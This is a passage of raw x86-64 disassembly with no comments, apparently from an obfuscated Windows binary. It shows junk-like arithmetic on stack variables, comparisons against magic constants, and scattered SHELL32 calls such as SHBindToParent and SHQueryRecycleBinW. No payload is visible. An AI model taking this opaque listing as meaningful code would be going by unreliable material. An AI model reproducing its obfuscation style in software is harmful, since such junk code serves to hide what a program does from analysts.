sar eax, cl
mov byte [rsp + 0x15c], al
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov word [rsp + 0xca0], ax
mov rax, qword [rsp + 0x58b0]
movzx eax, word [rax]
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x58d0]
mov rcx, qword [rsp + 0x5800]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
mov rax, qword [0x140205218]
mov rcx, qword [rsp + 0x5750]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ee4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56c0]
mov rcx, qword [rsp + 0x56b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
movsx eax, word [rsp + 0xca4]
movsx ecx, word [rsp + 0x9c8]
sub eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
movzx eax, word [rsp + 0xca0]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x58b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5820]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x5920]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5918]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x5928]
mov ecx, dword [rsp + 0x2f60]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5750]
mov qword [rsp + 0x5938], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5938]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x140205218]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5790], rax
cmp dword [rsp + 0x2fd8], 0xd0c3
jbe 0x14005b59d
mov eax, dword [rsp + 0x2fa8]
mov dword [rsp + 0x2ff8], eax
cmp dword [rsp + 0x2ff8], 0
je 0x14005ba66
jmp 0x1401b6e7c
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov byte [rsp + 0x15e], al
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov qword [rsp + 0x5940], rax
movabs rax, 0x11f6aba756a00711
cmp qword [rsp + 0x5940], rax
je 0x14005bac1
jmp 0x14005badb
lea rcx, [rsp + 0x58e0]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x2fd4], eax
jmp 0x14005bbe7
lea rax, [rsp + 0x15d]
mov qword [rsp + 0x5948], rax
lea rax, [rsp + 0x2f94]
mov qword [rsp + 0x5950], rax
mov rax, qword [rsp + 0x5920]
movzx eax, byte [rax]
mov byte [rsp + 0x2ffc], al
cmp byte [rsp + 0x2ffc], 0x7c
je 0x14005bb1c
jmp 0x14005bbdc
mov rax, qword [rsp + 0x5828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56b8]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x56c0]
je 0x14005bb5b
mov eax, dword [rsp + 0x2f3c]
mov ecx, dword [rsp + 0x2ee4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5818]
mov eax, dword [rax]
mov dword [rsp + 0x3000], eax
cmp dword [rsp + 0x3000], 0x33541f26
je 0x14005bb88
cmp dword [rsp + 0x3000], 0x3a39ad5d
je 0x14005bbbb
jmp 0x14005bbdc
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x58d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x5928]
mov ecx, dword [rax]
call fcn.1401b7810
nop
jmp 0x14005bbdc
mov rax, qword [rsp + 0x56c0]
mov rcx, qword [rsp + 0x56b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov dword [rsp + 0x3004], 0xc5e
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
cmp dword [rsp + 0x2f14], 0xfbd7
jae 0x14005bea7
movsx eax, word [rsp + 0xa70]
movsx ecx, word [rsp + 0xca4]
add eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov byte [rsp + 0x15e], al
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x5920]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5918]
mov byte [rcx], al
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
or eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5818]
mov qword [rsp + 0x5958], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5958]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x58d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x140204010], rax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x56f0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2fa8]
mov ecx, dword [rsp + 0x2edc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fc0], eax
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5918]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5920]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5948]
mov byte [rcx], al
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x58b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
movzx eax, word [rsp + 0xca0]
movzx ecx, word [rsp + 0xc9c]
and eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov rcx, qword [rsp + 0x5918]
mov byte [rcx], al
mov rax, qword [0x140205218]
mov rcx, qword [rsp + 0x57c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2f14]
add eax, 0xf5
mov dword [rsp + 0x2f14], eax
mov rax, qword [rsp + 0x5900]
mov rcx, qword [rsp + 0x5800]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140204010], rax
mov rax, qword [0x140204010]
mov rcx, qword [rsp + 0x5790]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56b8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x5908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
shl eax, cl
mov byte [rsp + 0x15c], al
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x5918]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x58b0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
jmp 0x14005bc07
cmp dword [rsp + 0x2ff0], 0x934d
jae 0x14005c19b
movsx eax, word [rsp + 0xa70]
movsx ecx, word [rsp + 0xca4]
and eax, ecx
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x5750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2edc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f94], eax
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2f68]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x5900]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x58d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5928]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ee4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f3c], eax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x5948]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5918]
mov byte [rcx], al
movzx eax, word [rsp + 0xca8]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc9c], ax
movsx eax, word [rsp + 0x9c8]
movsx ecx, word [rsp + 0xca4]
add eax, ecx
mov word [rsp + 0xa70], ax
movzx eax, byte [0x140204008]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xca0], ax
mov rax, qword [rsp + 0x5950]
mov rcx, qword [rsp + 0x5710]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5790]
movzx ecx, al
mov rax, qword [rsp + 0x56f0]
shr rax, cl
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5950]
mov ecx, dword [rsp + 0x2f94]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x5828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa70]
add eax, ecx
mov word [rsp + 0x9c8], ax
mov eax, dword [rsp + 0x2ff0]
add eax, 0x52
mov dword [rsp + 0x2ff0], eax
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x5948]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5918]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [0x140204008]
add eax, ecx
mov rcx, qword [rsp + 0x5908]
mov byte [rcx], al
mov rax, qword [rsp + 0x5920]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5918]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x157], al
mov eax, dword [rsp + 0x2f94]
mov ecx, dword [rsp + 0x2edc]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x5900]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2f60]
mov ecx, dword [rsp + 0x2ee4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f3c], eax
jmp 0x14005bea7
mov rax, qword [rsp + 0x56c0]
mov qword [rsp + 0x5960], rax
cmp qword [rsp + 0x5960], 0
je 0x14005c1bb
jmp 0x1401b6d64
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f60]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5818]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2ee4]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14005c2d6
lea rcx, [rsp + 0x2edc]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x3008], eax
mov eax, dword [rsp + 0x2f3c]
mov dword [rsp + 0x300c], eax
cmp dword [rsp + 0x300c], 0xf78e022
je 0x14005c2ba
cmp dword [rsp + 0x300c], 0x184a5a17
je 0x14005c231
jmp 0x14005c2d6
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2fa8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x56c0], rax
lea r9, [rsp + 0x58a0]
lea r8, [rsp + 0x2f84]
lea rdx, [rsp + 0x21d60]
lea rcx, [rsp + 0x58d8]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x2fe8], eax
mov rax, qword [rsp + 0x5928]
mov rcx, qword [rsp + 0x5778]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5928]
mov dword [rcx], eax
jmp 0x14005c2d6
mov rax, qword [rsp + 0x57c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fd4], eax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x5968], rax
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov byte [rsp + 0xe8], al
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x158]
xor eax, ecx
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9c8]
sar eax, cl
mov rcx, qword [rsp + 0x5820]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x58b0]
movsx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jg 0x1401b6b46
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x57c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5950]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2f68]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x1401b6ab9
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xca0]
and eax, ecx
movzx ecx, word [rsp + 0xca8]
movzx edx, word [rsp + 0xc98]
sub ecx, edx
cmp eax, ecx
jg 0x14005c55a
movzx eax, byte [rsp + 0x15a]
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x5908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x57f8]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jg 0x14005c544
lea rax, [rsp + 0x15c]
mov qword [0x140205220], rax
mov dword [rsp + 0x3010], 0x10d79
mov eax, dword [rsp + 0x2f3c]
mov dword [rsp + 0x3014], eax
cmp dword [rsp + 0x3014], 0x7b28bb6f
je 0x14005c433
jmp 0x14005c542
lea rdx, [rsp + 0x22ac0]
lea rcx, [rsp + 0x5708]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x2ef0], eax
mov rax, qword [rsp + 0x5948]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15a]
add eax, ecx
mov rcx, qword [rsp + 0x5918]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x15d]
sub ecx, edx
cmp eax, ecx
jl 0x14005c51e
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov byte [rsp + 0x3018], al
cmp byte [rsp + 0x3018], 0x1b
je 0x14005c4aa
cmp byte [rsp + 0x3018], 0xf4
je 0x14005c4fe
jmp 0x14005c51c
mov eax, dword [rsp + 0x2f60]
mov rcx, qword [rsp + 0x5928]
mov qword [rsp + 0x5970], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5970]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fc0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fd4], eax
call fcn.1401b8470
nop
jmp 0x14005c51c
lea rdx, [rsp + 0x2ef0]
lea rcx, [rsp + 0x15c]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0x5978], rax
jmp 0x14005c542
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x56f0]
shl rax, cl
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
jmp 0x14005c55a
mov edx, dword [rsp + 0x2fd4]
mov rax, qword [0x140205218]
mov ecx, dword [rax]
call fcn.1401b86e0
nop
lea rax, [rsp + 0x56c0]
mov qword [rsp + 0x5980], rax
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0x15e]
and eax, ecx
mov rcx, qword [rsp + 0x5908]
mov byte [rcx], al
mov rax, qword [rsp + 0x5928]
mov eax, dword [rax]
mov dword [rsp + 0x301c], eax
cmp dword [rsp + 0x301c], 0
je 0x14005c5d8
cmp dword [rsp + 0x301c], 0x7d055187
je 0x14005c5b3
jmp 0x14005c715
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc9c], ax
jmp 0x14005c715
movzx eax, word [rsp + 0xca0]
mov dword [rsp + 0x3020], eax
cmp dword [rsp + 0x3020], 0
je 0x14005c607
cmp dword [rsp + 0x3020], 0x1f4
je 0x14005c6f1
jmp 0x14005c715
movsx eax, word [rsp + 0xa70]
mov dword [rsp + 0x3024], eax
cmp dword [rsp + 0x3024], 0
je 0x14005c625
jmp 0x14005c6d2
movsx eax, word [rsp + 0xca4]
mov dword [rsp + 0x3028], eax
cmp dword [rsp + 0x3028], 0
je 0x14005c640
jmp 0x14005c6b5
lea rax, [rsp + 0xa70]
mov qword [rsp + 0x5988], rax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
mov rcx, qword [rsp + 0x5908]
mov byte [rcx], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5968]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140204018], ax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov word [rsp + 0xca8], ax
mov dword [rsp + 0x302c], 0x8d9f
jmp 0x14005c6d0
mov eax, dword [0x140205210]
mov ecx, dword [rsp + 0x2edc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x57c8]
mov dword [rcx], eax
jmp 0x14005c6ef
lea rdx, [rsp + 0x58d0]
mov rcx, qword [rsp + 0x5878]
call qword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [rsp + 0x2fe8], eax
jmp 0x14005c715
mov rax, qword [rsp + 0x58d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56c0]
mov qword [rsp + 0x5990], rax
mov dword [rsp + 0x3030], 0xb109
mov dword [rsp + 0x3034], 0xf76c
mov rax, qword [rsp + 0x5968]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x57d0]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14005c8af
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov dword [rsp + 0x3038], eax
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5988]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x5790]
mov rcx, qword [rsp + 0x5800]
mov qword [rsp + 0x5998], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5998]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x58d0]
mov rdx, qword [rsp + 0x56f0]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jbe 0x14005c80d
mov rax, qword [rsp + 0x5948]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5918]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x159], al
call fcn.1401b7fd0
nop
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov dword [rsp + 0x303c], eax
cmp dword [rsp + 0x303c], 0
je 0x14005c82a
jmp 0x14005c88b
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x59a0], rax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x5920]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
and eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5828]
mov rax, qword [rax]
mov qword [rsp + 0x59a8], rax
jmp 0x14005c8af
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x58d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5950]
mov ecx, dword [rsp + 0x2fd4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2f60]
mov ecx, dword [rsp + 0x3038]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5818]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x59a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15b], al
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x5920]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5918]
mov byte [rcx], al
mov eax, dword [rsp + 0x2fa8]
mov ecx, dword [rsp + 0x2fc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
movsx eax, word [rsp + 0xa70]
mov rcx, qword [rsp + 0x5988]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
movsx eax, word [rsp + 0xca4]
movsx ecx, word [rsp + 0xa70]
sub eax, ecx
mov word [rsp + 0x9c8], ax
mov eax, dword [rsp + 0x3038]
mov ecx, dword [rsp + 0x2ee4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f60], eax
mov eax, dword [rsp + 0x3034]
add eax, 0x6a
mov dword [rsp + 0x3034], eax
mov rax, qword [rsp + 0x5990]
movzx ecx, al
mov rax, qword [rsp + 0x56b8]
shl rax, cl
mov rcx, qword [rsp + 0x5980]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x56e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x57c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5900]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5790]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58d0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xca0]
movzx ecx, word [rsp + 0xca8]
sar eax, cl
mov rcx, qword [rsp + 0x5968]
mov word [rcx], ax
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca4]
and eax, ecx
mov rcx, qword [rsp + 0x58b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5908]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140205220]
mov byte [rcx], al
movzx eax, word [rsp + 0xc98]
movzx ecx, word [0x140204018]
sub eax, ecx
mov word [rsp + 0xc9c], ax
mov eax, dword [rsp + 0x3038]
mov ecx, dword [rsp + 0x2ee4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5928]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2f68]
mov ecx, dword [rsp + 0x2edc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f94], eax
mov rax, qword [rsp + 0x58d0]
mov rcx, qword [rsp + 0x5790]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
mov rax, qword [rsp + 0x59a8]
mov rcx, qword [rsp + 0x56c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x5918]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x58b0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5988]
mov word [rcx], ax
movsx eax, word [rsp + 0x9c8]
mov rcx, qword [rsp + 0x58b0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140204008], al
mov rax, qword [rsp + 0x59a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x15e], al
mov eax, dword [rsp + 0x2f3c]
mov ecx, dword [rsp + 0x3038]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5818]
mov dword [rcx], eax
mov rax, qword [rsp + 0x58d0]
mov rcx, qword [rsp + 0x5900]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [0x140205218]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f94], eax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x5990]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5980]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5820]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x58b0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5988]
mov word [rcx], ax
mov rax, qword [rsp + 0x5920]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15f]
sub eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov rcx, qword [rsp + 0x59a0]
mov byte [rcx], al
mov rax, qword [0x140205218]
mov rcx, qword [rsp + 0x56e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140205218]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov rcx, qword [rsp + 0x57f8]
mov byte [rcx], al
cmp dword [rsp + 0x3034], 0x1167a
